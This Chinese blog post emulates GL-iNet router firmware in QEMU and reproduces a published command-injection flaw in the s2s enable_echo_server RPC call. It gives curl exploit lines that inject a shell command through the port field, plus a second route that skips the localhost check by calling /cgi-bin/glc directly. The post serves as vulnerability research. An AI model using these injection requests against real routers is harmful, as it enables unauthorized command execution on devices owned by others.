GL-iNet路由器介绍

GL-iNet使用的是基于OpenWrt的操作系统通过配合OpenResty来增强其web管理界面和API的功能。

  • OpenWrt是一个基于 Linux 的开源嵌入式操作系统,可拓展性很高。
  • OpenResty基于NGINX实现,内置lua脚本。

QEMU-system模拟

感觉FirmAE、firmadyne都具有很多局限性,确实不如直接用qemu-system去模拟

固件下载:

启动文件下载:

qemu-system模拟

1
sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

这里必须-cpu指定cortex-a15不然后面会出现指令集错误的情况

但是qemu版本如果比较高的话(不清楚多少算高,我的是6.2.0版本的出现了问题)就会导致

image-20241006170621024

意思就是qemu必须强制开发版和cpu属于同一系列,否则就会导致不兼容。

我不信邪,尝试了其它的各种搭配,发现都不太行,所以决定编译一个低版本的qemu

下载qemu-4.2.0源码

1
https://download.qemu.org/qemu-4.2.0.tar.xz

编译

1
2
3
4
5
tar -xf qemu-2.4.0.tar.xz
cd qemu-2.4.0/
mkdir build
sudo ./configure --prefix=./build
sudo make -j8

果然跟我想的一样,版本太低,编译的时候肯定会出现很多编译的报错

问题1:undefined reference to major

在出错文件中加入

1
2
#include <sys/types.h>
#include <sys/sysmacros.h>

问题2:struct ucontext未定义

syscall.csignal.c文件中加入

1
2
3
4
5
6
7
8
9
typedef struct ucontext
{
unsigned long int uc_flags;
struct ucontext *uc_link;
__sigset_t uc_sigmask;
stack_t uc_stack;
mcontext_t uc_mcontext;
long int uc_filler[5];
};

问题3:error: static declaration of gettid

1
2
3
4
加入#define __NR_sys_gettid __NR_gettid
修改_syscall0(int, gettid) 为 _syscall0(int, sys_gettid)
修改put_user_u32(gettid(), child_tidptr) 为 put_user_u32(sys_gettid(), child_tidptr)
修改put_user_u32(gettid(), parent_tidptr) 为 put_user_u32(sys_gettid(), parent_tidptr)

问题4:undefined reference to 'stime'

1
修改return get_errno(stime(&host_time)) 为 return get_errno(clock_settime(CLOCK_REALTIME, &host_time))

然后重新编译

1
2
3
4
make clean
sudo ./configure --prefix=./build
sudo make -j8
sudo make install

image-20241006172528424

模拟

1
sudo ./qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

image-20241006172639711

宿主机

打包squashfs-root文件系统到虚拟机中

1
2
3
4
sudo tunctl -t tap0						   #创建一个tap0网卡和arm虚拟机进行通信
sudo ifconfig tap0 192.168.100.1/24 up #配置tap0网卡地址为192.168.100.120
tar -zcvf squashfs-root.gz squashfs-root #打包squashfs-root文件系统
sudo scp squashfs-root.gz root@192.168.100.2:/ #利用scp将打包的文件系统传到arm虚拟机中

arm虚拟机

1
2
3
4
5
6
7
8
ifconfig eth0 192.168.100.2/24 up
service ssh start #启动ssh服务
tar -zxvf squashfs-root.gz #解压文件系统
#挂载固件文件系统中的proc目录和dev目录到chroot环境
mount -t proc /proc/ ./squashfs-root/proc/
mount -o bind /dev/ ./squashfs-root/dev/
#在squashfs-root启动shell
chroot squashfs-root sh

image-20241009092201485

既然此时已经成功模拟,接下来就是恢复web服务

启动Web服务

因为是通过OpenResty服务来运作以及管理web服务的,并且OpenResty基于nginx,那么首先应该启动nginx。

/etc/init.d/nginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh /etc/rc.common
# Copyright (C) 2015 OpenWrt.org

START=80

USE_PROCD=1

start_service() {
[ -f /etc/init.d/uhttpd ] && {
/etc/init.d/uhttpd enabled && {
/etc/init.d/uhttpd stop
/etc/init.d/uhttpd disable
}
}

[ -d /var/log/nginx ] || mkdir -p /var/log/nginx
[ -d /var/lib/nginx ] || mkdir -p /var/lib/nginx

procd_open_instance
procd_set_param command /usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
procd_set_param file /etc/nginx/nginx.conf
procd_set_param respawn
procd_close_instance
}

可以看到启动nginx的命令被设置为

1
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'

直接执行上述命令启动nginx看看什么情况

image-20241009132721080

不出意外果然报错,发现是有的文件夹没有创建,看一下nginx启动项中确实有创建文件夹的操作

1
2
3
mkdir -p /var/log/nginx
mkdir -p /var/lib/nginx
mkdir /var/run

然后再次运行

image-20241009135231633

nginx确实是跑起来了,但是访问却是404。

查看了/etc/nginx/nginx.conf配置文件并没有发现可能导致404问题的。既然nginx配置文件没什么问题,那就是启动nginx服务之前环境就有问题。

全局搜索一下文件,查看跟nginx相关的文件还有哪些

image-20241009141752088

查看/etc/uci-defaults/80_nginx-oui文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
. /lib/functions/gl_util.sh

if [ -f "/etc/nginx/oui_nginx.conf" ] && [ -f "/etc/nginx/nginx.conf" ]; then
if [ ! "$(cat '/etc/nginx/nginx.conf' | grep 'oui')" ]; then
mv /etc/nginx/nginx.conf /etc/nginx/nginx.conf_old
mv /etc/nginx/oui_nginx.conf /etc/nginx/nginx.conf
else
rm /etc/nginx/oui_nginx.conf
fi
fi

if [ ! -f "/etc/nginx/nginx.key" ]; then
NGINX_KEY=/etc/nginx/nginx.key
NGINX_CER=/etc/nginx/nginx.cer
OPENSSL_BIN=/usr/bin/openssl
PX5G_BIN=/usr/sbin/px5g

cat << EOF > /etc/ssl/gl.conf
[req]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no
string_mask = utf8only

[req_distinguished_name]
C = HK
ST = Hong Kong
L = Hong Kong
O = GLiNet
CN = console.gl-inet.com

[v3_req]
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names

[alt_names]
DNS.1 = console.gl-inet.com
IP.1 = 192.168.8.1
EOF

# Prefer px5g for certificate generation (existence evaluated last)
GENKEY_CMD=""
[ -x "$OPENSSL_BIN" ] && GENKEY_CMD="$OPENSSL_BIN req -x509 -nodes"
[ -x "$PX5G_BIN" ] && GENKEY_CMD="$PX5G_BIN selfsigned"
[ -n "$GENKEY_CMD" ] && {
$GENKEY_CMD -days 730 -newkey rsa:2048 -keyout "${NGINX_KEY}.new" -out "${NGINX_CER}.new" -config /etc/ssl/gl.conf
sync
mv "${NGINX_KEY}.new" "${NGINX_KEY}"
mv "${NGINX_CER}.new" "${NGINX_CER}"
}
fi

if [ -z "$(grep "lua_code_cache off;" /etc/nginx/conf.d/gl.conf)" ]; then
sed -i '/lua_shared_dict sessions 16k;/a lua_code_cache off;' /etc/nginx/conf.d/gl.conf
fi

sed -i 's/keepalive_timeout 0/keepalive_timeout 5/' /etc/nginx/nginx.conf

sed -i 's/resolver 127.0.0.1;/resolver 127.0.0.1 ipv6=off;/' /etc/nginx/conf.d/gl.conf

grep -q "access_log off" /etc/nginx/nginx.conf || sed -i '/^ root \/www;/a \\n access_log off;' /etc/nginx/nginx.conf

sed -i 's/large_client_header_buffers 2 1k;/large_client_header_buffers 2 2k;/' /etc/nginx/nginx.conf

set_nginx_thread

exit 0

此脚本的作用是调整nginx配置文件,确保nginx的运行环境。

那就直接运行这个脚本再启动一次nginx看一下

1
2
3
chmod +x ./etc/uci-defaults/80_nginx-oui
./etc/uci-defaults/80_nginx-oui
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'

image-20241009145119217

image-20241009145229380

此时web服务已经成功运行,只是前端页面消失了。但是还是要研究一下为什么前端页面消失了?

可以想一下到现在nginx服务应该是没什么问题的,我们只是启动了nginx,像其它的启动项我们没有执行,猜测问题可能出现在配置文件未初始化之类的

所以查看一下/etc/init.d/boot文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/sh /etc/rc.common
# Copyright (C) 2006-2011 OpenWrt.org

START=10
STOP=90

uci_apply_defaults() {
. /lib/functions/system.sh

cd /etc/uci-defaults || return 0
files="$(ls)"
[ -z "$files" ] && return 0
mkdir -p /tmp/.uci
for file in $files; do
( . "./$(basename $file)" ) && rm -f "$file"
done
uci commit
}

boot() {
[ -f /proc/mounts ] || /sbin/mount_root
[ -f /proc/jffs2_bbc ] && echo "S" > /proc/jffs2_bbc

mkdir -p /var/lock
chmod 1777 /var/lock
mkdir -p /var/log
mkdir -p /var/run
mkdir -p /var/state
mkdir -p /var/tmp
mkdir -p /tmp/.uci
chmod 0700 /tmp/.uci
touch /var/log/wtmp
touch /var/log/lastlog
mkdir -p /tmp/resolv.conf.d
touch /tmp/resolv.conf.d/resolv.conf.auto
ln -sf /tmp/resolv.conf.d/resolv.conf.auto /tmp/resolv.conf
grep -q debugfs /proc/filesystems && /bin/mount -o noatime -t debugfs debugfs /sys/kernel/debug
grep -q bpf /proc/filesystems && /bin/mount -o nosuid,nodev,noexec,noatime,mode=0700 -t bpf bpffs /sys/fs/bpf
grep -q pstore /proc/filesystems && /bin/mount -o noatime -t pstore pstore /sys/fs/pstore
[ "$FAILSAFE" = "true" ] && touch /tmp/.failsafe

/sbin/kmodloader

[ ! -f /etc/config/wireless ] && {
# compat for bcm47xx and mvebu
sleep 1
}

/bin/config_generate
uci_apply_defaults

# temporary hack until configd exists
/sbin/reload_config
}

可以看到初始化的操作还是比较多的,所以尝试执行这个脚本

1
2
/etc/init.d/boot boot									 #执行初始化脚本
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;' #再次启动nginx

image-20241009150935443

成功显示出来!

漏洞分析

1
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/s2s%20interface%20shell%20injection.md
1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

根据这个exp可知漏洞出现在s2s模块的enable_echo_server函数中

image-20241009151623370

a1是接收的json数据,只对port字段进行整数判断以及大小判断,所以如果拼接了恶意命令就会导致命令执行。

先利用exp打一下看看环境有没有问题

image-20241009152830057

还好报错了(不报错感觉还不好定位关键点)

image-20241009152940368

通过报错定位到/usr/lib/lua/oui/rpc.lua文件

出现报错输出的原因应该就是调用到了error_response

image-20241009153140103

也就是说上层调用到了这个rpc.lua文件中的方法,所以查看一下谁加载了这个模块。

全局搜索一下rpc.lua,发现了nginx的配置文件中指定了当处理请求/rpc路由时会转发到/usr/share/gl-ngx/oui-rpc.lua处理。

想到exp中请求的路由确实是/rpc,证明链子找的没问题。

image-20241009153559052

接着定位到/usr/share/gl-ngx/oui-rpc.lua文件

image-20241009154017182

发现确实加载了oui.rpc模块,此文件是rpc调用的接口实现。根据exp中调用的方法是call,所以直接定位关键方法rpc_method_call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
local function rpc_method_call(id, params)
--参数必须大于三个
if #params < 3 then
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
ngx.say(cjson.encode(resp))
return
end

local sid, object, method, args = params[1], params[2], params[3], params[4]
-- sid, object, method 必须是字符串
if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
ngx.say(cjson.encode(resp))
return
end
-- args 如果存在则是必须是表
if args and type(args) ~= "table" then
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
ngx.say(cjson.encode(resp))
return
end
-- 检测sid是否有效,无效则访问不到当前会话
ngx.ctx.sid = sid
-- 检测当前请求是否需要认证,不在is_no_auth白名单中的都需要认证,进入到下面的access中进行判断
if not rpc.is_no_auth(object, method) then
--检测是否是本地访问并且请求头是glinet
if not rpc.access("rpc", object .. "." .. method) then
local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS)
ngx.say(cjson.encode(resp))
return
end
end

local res = rpc.call(object, method, args)
if type(res) == "number" then
local resp = rpc.error_response(id, res)
ngx.say(cjson.encode(resp))
return
end

if type(res) ~= "table" then res = {} end

local resp = rpc.result_response(id, res)
ngx.say(cjson.encode(resp))
end

如果要成功调用call方法,则有以下几个条件:

  • 参数必须大于三个
  • sid, object, method 必须是字符串
  • args 如果存在则是必须是表
  • sid是否有效,无效则访问不到当前会话
  • 请求是否需要验证
  • 是否是本地访问并且请求头是glinet

检测是否需要验证的逻辑则是调用模块中的access方法,这是对应的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
M.session = function()
local session = ubus.call("gl-session", "session", { sid = ngx.ctx.sid })

local __oui_session = {
--判断是否是本地请求
is_local = ngx.var.remote_addr == "127.0.0.1" or ngx.var.remote_addr == "::1",
remote_addr = ngx.var.remote_addr,
remote_port = ngx.var.remote_port
}

if not session then return __oui_session end

utils.update_ngx_session("/tmp/gl_token_" .. ngx.ctx.sid)

session.remote_addr = ngx.var.remote_addr
session.remote_port = ngx.var.remote_port

return session
end

M.access = function(scope, entry, need)
local headers = ngx.req.get_headers()
local s = M.session()
local aclgroup = s.aclgroup
--检测是否是本地访问并且请求头是glinet
if s.is_local and headers["glinet"] then
return true
end

-- The admin acl group is always allowed
if aclgroup == "root" then return true end

if not aclgroup or aclgroup == "" then return false end

local perm = db.get_perm(aclgroup, scope, entry)

if not need then return false end

if need == "r" then
return perm:find("[r,w]") ~= nil
else
return perm:find(need) ~= nil
end
end

M.is_no_auth = function(object, method)
local c = uci.cursor()

if not no_auth_methods then
no_auth_methods = {}

c:foreach("oui-httpd", "no-auth-methods", function(s)
local ms = {}

for _, m in ipairs(s.method) do
ms[m] = true
end

no_auth_methods[s.object] = ms
end)
end

if no_auth_methods[object] and no_auth_methods[object][method] then
return true
end

return false
end

判断会话是否有效并且检测是否是本地访问并且请求头是glinet,检测请求是否在白名单内(即判断是否需要验证)

如果验证全部通过则能调用call方法,看一下call方法的处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
M.call = function(object, method, args)
ngx.log(ngx.DEBUG, "call: '", object, ".", method, "'")
--检查是否存在对象函数集合,没有则需要加载相关脚本
if not objects[object] then
--构建脚本路径
local script = "/usr/lib/oui-httpd/rpc/" .. object
--检查脚本是否存在,如果不存在则调用glc_call
if not fs.access(script) then
return glc_call(object, method, args)
end
--脚本存在则调用pcall加载脚本,如果脚本加载失败则调用glc_call,加载成功则返回一个tb表
local ok, tb = pcall(dofile, script)
if not ok then
ngx.log(ngx.ERR, tb)
return glc_call(object, method, args)
end
--检查tb表是否为table类型,如果是则将tb表中的函数存入objects表中
if type(tb) == "table" then
local funs = {}
for k, v in pairs(tb) do
if type(v) == "function" then
funs[k] = v
end
end
objects[object] = funs
end
end
--查找并调用函数
local fn = objects[object] and objects[object][method]
--如果未找到函数则调用glc_call处理
if not fn then
return glc_call(object, method, args)
end
--如果存在函数则将args作为参数并调用函数
return fn(args)
end

return M

根据逻辑来看会先加载指定路径脚本,如果不存在或者加载失败都会调用glc_call方法执行。

由于/usr/lib/oui-httpd/rpc/路径下的只有二进制程序文件,没有lua脚本,所以判断为加载失败就会去调用glc_call方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
local function glc_call(object, method, args)
ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'")

local res = ngx.location.capture("/cgi-bin/glc", {
method = ngx.HTTP_POST,
body = cjson.encode({
object = object,
method = method,
args = args or {}
})
})

if res.status ~= ngx.HTTP_OK then return M.ERROR_CODE_INTERNAL_ERROR end

local body = res.body
local code = tonumber(body:match("(-?%d+)"))

if code ~= M.ERROR_CODE_NONE then
local err_msg = body:match("%d+ (.+)")
if err_msg then
ngx.log(ngx.ERR, err_msg)
end
return code
end

local msg = body:match("%d+ (.*)")

return cjson.decode(msg)
end

分析一下此段代码,发现是通过C程序/cgi-bin/glc处理RPC请求

找到www/cgi-bin/glc文件进行分析

image-20241009160626989

image-20241009160726331

image-20241009160848382

发现处理逻辑跟lua脚本中逻辑一样,请求方式验证和读取请求体后动态加载并调用函数。

glc使用dlopen加载so文件,然后再利用dlsym去调用so中对应的函数。

分析完了漏洞过程,再次尝试使用exp利用看看是否成功

image-20241009163204771

发现还是失败,回顾一下请求验证处,是通过ubus服务实现的,但是我们并没有开始ubus服务,那么再启动ubus服务试试.

image-20241009163515621

发现还是报错

image-20241009185731559

感觉问题还是出在配置环境部分,重新看一下gl.conf,通过名字也可以猜测这是GL路由器搭配nginx的一种配置文件。

image-20241009185231609

当访问路由为/cgi-bin/时,会通过配合fcgiwrap来处理,那么就可以思考,虽然我们的路由是/rpc,但最后还是通过/cgi-bin/glc处理的,那么应该和此处应该是相同的。

启动fcgiwrap

image-20241009185920696

然后再打exp

image-20241009190053575

成功利用!

调用链1过程

exp

1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

访问/rpc路由,nginx转发到/usr/share/gl-ngx/oui-rpc.lua处理,调用其中的rpc_method_call,进行请求验证以及判断是否是本地请求(127.0.0.1)和请求头是否是glinet,然后调用C程序/cgi-bin/glc处理json请求数据包,检测是否是POST请求、请求方式验证和读取请求体各个字段后调用dlopen加载s2s.so共享库文件,再利用dlsym调用s2s.so程序中的enable_echo_server函数,接收port字段然后导致命令执行。

调用链2

上述本地请求的利用很是鸡肋,虽然请求路由是/rpc,但是最后还是调用/cgi-bin/glc来处理请求,那么不如直接请求/cgi-bin/glc

回看一下的nginx转发

如果直接请求/cgi-bin/glc会通过FastCGI直接调用glc,跟调用链1相比是跳过了验证是否本地请求,相当于调用了glc_call。

image-20241009190712313

1
curl -H 'glinet: 1' 192.168.100.2/cgi-bin/glc -d '{"object":"s2s" , "method":"enable_echo_server", "args":{"port": "7 $(touch /root/test2)"}}'

image-20241009190759735

也是成功利用。